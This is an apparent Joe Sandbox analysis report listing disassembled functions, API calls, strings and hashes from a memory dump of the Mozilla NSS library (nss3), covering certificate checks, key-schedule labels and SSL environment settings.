Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`l
API String ID: 1304971872-283784926
Opcode ID: 9757d1d4b5bd00ee2a94daeba83244083b5aa6fe81b6dfeee8cc6dbf11514c6a
Instruction ID: 3bcf48ce80c5a777d4b89375111ca5381d19d7dba0dcc4a1cf8880944b255bd9
Opcode Fuzzy Hash: 9757d1d4b5bd00ee2a94daeba83244083b5aa6fe81b6dfeee8cc6dbf11514c6a
Instruction Fuzzy Hash: 51B14DB1E012199BDF05DFA5DA45BAEBBB8AF0534CF240025E815F7740E731EA15CBA1

Function 6CE7DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE7DDDE

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CE7DDF5

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE7DE34
PR_Now.NSS3 ref: 6CE7DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CE7DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE7DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE7DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CE7DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CE7DEF0
PR_smprintf.NSS3(6CFAAAF9,(NULL) (Validity Unknown)), ref: 6CE7DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE7DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE7DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE7DF33
free.MOZGLUE(00000000), ref: 6CE7DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE7DF4B
free.MOZGLUE(00000000), ref: 6CE7DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE7DF8E

Strings

(NULL) (Validity Unknown), xrefs: 6CE7DEFA
%s%s, xrefs: 6CE7DEEB
{???}, xrefs: 6CE7DE8B

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: c7e0e5b1d3eb73913a2c46c6072e8b7d0daed7cc9bccaabe32de87119a93fbc5
Instruction ID: eb7d39c55f949c96723680c7af218837b58369065c386249259a7d5a3e75fef0
Opcode Fuzzy Hash: c7e0e5b1d3eb73913a2c46c6072e8b7d0daed7cc9bccaabe32de87119a93fbc5
Instruction Fuzzy Hash: 0151A3B5E002059BDB149EA59C41AAF7BB9EF85358F244029EC09E7700E731EA15CBF2

Function 6CEA08F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6CEA094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA0953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6CEA096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6CEA0974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CEA098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CEA0995

Part of subcall function 6CEA1800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CEA1860
Part of subcall function 6CEA1800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6CEA09BF), ref: 6CEA1897
Part of subcall function 6CEA1800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEA18AA
Part of subcall function 6CEA1800: memcpy.VCRUNTIME140(?,?,?), ref: 6CEA18C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CEA0B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CEA0B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CEA0B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6CEA0B78

Strings

base_nonce, xrefs: 6CEA0B06
secret, xrefs: 6CEA0A88
key, xrefs: 6CEA0ACB
exp, xrefs: 6CEA0B36
psk_id_hash, xrefs: 6CEA09B5
info_hash, xrefs: 6CEA09E0

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: b92027f8816ca57657a63647281ea8786289b5d6e58e13d45cef9b2ba0668a62
Instruction ID: 151c3b57544c45390cded5276a323a2961b2f22d031490a29230b5313bf9f6bb
Opcode Fuzzy Hash: b92027f8816ca57657a63647281ea8786289b5d6e58e13d45cef9b2ba0668a62
Instruction Fuzzy Hash: DE818B75604301AFC700CF94C88099AF7F8EF8C208F14891DF9599B751E731E91ACB92

Function 6CEB2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CEB2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CEB2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEB2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEB2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CE84F1C,?,-00000001,00000000,?), ref: 6CEB2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CE84F1C,?,-00000001,00000000), ref: 6CEB2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEB2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEB2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEB2EF8
PR_Unlock.NSS3(?), ref: 6CEB2F62
TlsGetValue.KERNEL32 ref: 6CEB2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CEB2F9E
PR_Unlock.NSS3(?), ref: 6CEB2FCA
TlsGetValue.KERNEL32 ref: 6CEB301A
EnterCriticalSection.KERNEL32(?), ref: 6CEB302E
PR_Unlock.NSS3(?), ref: 6CEB3066
PR_SetError.NSS3(00000000,00000000), ref: 6CEB3085
PR_Unlock.NSS3(?), ref: 6CEB30EC
TlsGetValue.KERNEL32 ref: 6CEB310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CEB3124
PR_Unlock.NSS3(?), ref: 6CEB314C

Part of subcall function 6CE99180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CEC379E,?,6CE99568,00000000,?,6CEC379E,?,00000001,?), ref: 6CE9918D
Part of subcall function 6CE99180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CEC379E,?,6CE99568,00000000,?,6CEC379E,?,00000001,?), ref: 6CE991A0

Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607AD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607CD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607D6
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDF204A), ref: 6CE607E4
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,6CDF204A), ref: 6CE60864
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE60880
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,6CDF204A), ref: 6CE608CB
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608D7
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608FB

PR_SetError.NSS3(00000000,00000000), ref: 6CEB316D

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 0408854044e0015aed2752c1a2e416aeff0d41f75aa325c012cb89bacab9a25c
Instruction ID: 43bb476ca7ce397fc75be6788a832927b359b3c23b58cd092d6ced5fd7aa9b05
Opcode Fuzzy Hash: 0408854044e0015aed2752c1a2e416aeff0d41f75aa325c012cb89bacab9a25c
Instruction Fuzzy Hash: 4BF1AEB5E006189FDF01DF64D989BAABBB4BF09318F244169EC04B7711EB31E995CB81

Function 6CE99FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE99FBE

Part of subcall function 6CE72F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE72F0A
Part of subcall function 6CE72F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE72F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE9A015

Part of subcall function 6CEB1940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CEB563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CEB195C
Part of subcall function 6CEB1940: EnterCriticalSection.KERNEL32(?,?,6CEB563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CE8EAC5,00000001), ref: 6CEB1970
Part of subcall function 6CEB1940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CE8EAC5,00000001,?,6CE8CE9B,00000001,6CE8EAC5), ref: 6CEB19A0

PL_FreeArenaPool.NSS3(?), ref: 6CE9A067
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE9A055

Part of subcall function 6CDF4C70: TlsGetValue.KERNEL32(?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4C97
Part of subcall function 6CDF4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CB0
Part of subcall function 6CDF4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE9A07E
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE9A0B1
PL_FreeArenaPool.NSS3(?), ref: 6CE9A0C7
PL_FinishArenaPool.NSS3(?), ref: 6CE9A0CF
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE9A12E
PL_FreeArenaPool.NSS3(?), ref: 6CE9A140
PL_FinishArenaPool.NSS3(?), ref: 6CE9A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE9A158
PL_FinishArenaPool.NSS3(?), ref: 6CE9A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CE9A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE9A1B2
free.MOZGLUE(00000000), ref: 6CE9A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CE9A1D6

Part of subcall function 6CEB55E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CE8EAC5,00000001,?,6CE8CE9B,00000001,6CE8EAC5,00000003,-00000004,00000000,?,6CE8EAC5), ref: 6CEB5627
Part of subcall function 6CEB55E0: PR_CallOnce.NSS3(6CFD2AA4,6CED12D0,?,?,?,?,?,?,?,?,?,?,6CE8EAC5,00000001,?,6CE8CE9B), ref: 6CEB564F
Part of subcall function 6CEB55E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE8EAC5,00000001), ref: 6CEB5661
Part of subcall function 6CEB55E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE8EAC5), ref: 6CEB56AF

Strings

security, xrefs: 6CE9A00F

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: bee757c1f87e2f203e5e4dac465f205ede3a1dc71f7126fd0c581910d8784c3f
Instruction ID: 6418ccd7152d7b8d3377842e03998005c35028fb89ef5b404a729b6d1525fbde
Opcode Fuzzy Hash: bee757c1f87e2f203e5e4dac465f205ede3a1dc71f7126fd0c581910d8784c3f
Instruction Fuzzy Hash: B351FCB1D402056BEB109BA5DD45FAF7378BF4170CF314528E805ABB41E776E90AC7A2

Function 6CEB4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEB4C4C
EnterCriticalSection.KERNEL32(?), ref: 6CEB4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CEB4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4DB7

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607AD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607CD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607D6
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDF204A), ref: 6CE607E4
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,6CDF204A), ref: 6CE60864
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE60880
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,6CDF204A), ref: 6CE608CB
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608D7
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608FB

TlsGetValue.KERNEL32 ref: 6CEB4DD7
EnterCriticalSection.KERNEL32(?), ref: 6CEB4DEC
PR_Unlock.NSS3(?), ref: 6CEB4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CEB4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CEB4E71
free.MOZGLUE(00000000), ref: 6CEB4E7A
PR_Unlock.NSS3(?), ref: 6CEB4EA2
TlsGetValue.KERNEL32 ref: 6CEB4EC1
EnterCriticalSection.KERNEL32(?), ref: 6CEB4ED6
PR_Unlock.NSS3(?), ref: 6CEB4F01
free.MOZGLUE(00000000), ref: 6CEB4F2A

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: efd2691a4c0740f70c56f5373c586e8d2e5a1f851b0ff8400e8db549186f10f8
Instruction ID: 3895742c99a51bb75cb1fe4a2efa0b0775d4de95d2b3581fcdc77cdaff05c7d7
Opcode Fuzzy Hash: efd2691a4c0740f70c56f5373c586e8d2e5a1f851b0ff8400e8db549186f10f8
Instruction Fuzzy Hash: 15B10275E002059FEB41EF68D944BAA77B4BF0631CF24412AED05ABB01E734EA65CBD1

Function 6CEBFFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEBFFB4

Part of subcall function 6CF398D0: calloc.MOZGLUE(00000001,00000084,6CE60936,00000001,?,6CE6102C), ref: 6CF398E5

PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEBFFC6

Part of subcall function 6CF398D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CF39946
Part of subcall function 6CF398D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDF16B7,00000000), ref: 6CF3994E
Part of subcall function 6CF398D0: free.MOZGLUE(00000000), ref: 6CF3995E

PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEBFFD6
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEBFFE6
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEBFFF6
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC0006
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC0016
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC0026
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC0036
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC0046
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC0056
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC0066
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC0076
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC0086
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC0096
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC00A6
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC00B6
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC00C6
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC00D6
PR_NewLock.NSS3(?,?,6CEB76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CEC00E6

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 45cbacba62531246aa38b0ffe57f20343f517b431ec0917183b188d6510a9861
Instruction ID: ac7b3c49cc0893d22f8310d7c9887b35372058a58d450092eacf3e3e96a389e8
Opcode Fuzzy Hash: 45cbacba62531246aa38b0ffe57f20343f517b431ec0917183b188d6510a9861
Instruction Fuzzy Hash: 473128F0E21624AE8BC6DF75C1483493AB4B75760A750711ADC0887702DFB62A4EDFE5

Function 6CF06E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CF06BF7), ref: 6CF06EB6

Part of subcall function 6CE61240: TlsGetValue.KERNEL32(00000040,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE61267
Part of subcall function 6CE61240: EnterCriticalSection.KERNEL32(?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE6127C
Part of subcall function 6CE61240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE61291
Part of subcall function 6CE61240: PR_Unlock.NSS3(?,?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE612A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CFAFC0A,6CF06BF7), ref: 6CF06ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CF06EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CF06EFC
PR_NewLock.NSS3 ref: 6CF06F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF06F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CF06BF7), ref: 6CF06F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CF06BF7), ref: 6CF06F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CF06BF7), ref: 6CF06FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CF06BF7), ref: 6CF06FFD

Strings

SSLKEYLOGFILE, xrefs: 6CF06EB1
SSLFORCELOCKS, xrefs: 6CF06F2B
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CF06FF8
